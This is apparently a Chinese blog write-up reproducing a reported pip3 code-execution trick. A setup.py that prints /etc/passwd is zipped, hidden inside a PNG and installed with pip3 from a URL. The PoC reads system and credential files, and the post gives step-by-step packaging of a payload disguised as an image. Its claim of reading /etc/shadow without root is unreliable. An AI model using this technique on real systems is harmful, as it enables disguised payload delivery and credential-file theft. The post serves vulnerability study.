Linux pip3 rce复现

近日曝出Linux下面的pip有rce然后第一时间进行复现，但是由于工作忙没时间写，现在写一下。

首先看网上出现的png图片：

根据网上说法，需要把图片变成zip文件后就能看到POC文件，其实如果打过CTF的大佬应该知道原理了，就是CTF MISC中的文件隐写，用图片方式把zip文件压缩起来了。使用binwalk查看文件：

 证实了猜想，里面有zip文件，还是名为test的，然后有一个setup.py文件。其中setup.py中就有poc，我们这里直接使用poc复现：

 

f = open("/dev/tty", "w")
print(open("/etc/passwd").read(),file=f)

然后保存为setup.py，接着创建一个test1文件夹（文件夹名称无所谓），放在里面，压缩为zip文件，这里为test1.zip，然后使用cmd，随便找一张png的图片，使用命令：copy /b 123.png + test1.zip 666.png然后合并为一张图片就行了：

 使用python直接起一个http环境，直接在Linux中使用命令：pip3 install "http://xxx.xxx.xxx.xx/666.png就行：

命令执行成功，经测试，版本从pip2的版本不行，pip3从9.X到23.X都可以，目测应该是pip3的通杀。

写在最后：该漏洞感觉危害不是很大，首先是该命令执行目前只能读取文件，注意是读取文件，而不可以执行ifconfig，more，cat这些系统命令；其次，该命令执行可以读取root权限文件，如上图，我使用kali账号，但是复现时可以读取/etc/shadow文件（这里不截图了）说明可以读取高权限文件，这个感觉在CTF比赛中可能用得到吧（PS好像我打过的比赛中很多是python2，然后或者就是没有python环境的，难不成以后下载一个帮它安上？问题又来了安装软件要系统权限，既然有root权限我为何不直接cat flag还要这种方法？）。所以感觉截止发稿，好像也没见大面积讨论吧，估计确实鸡肋。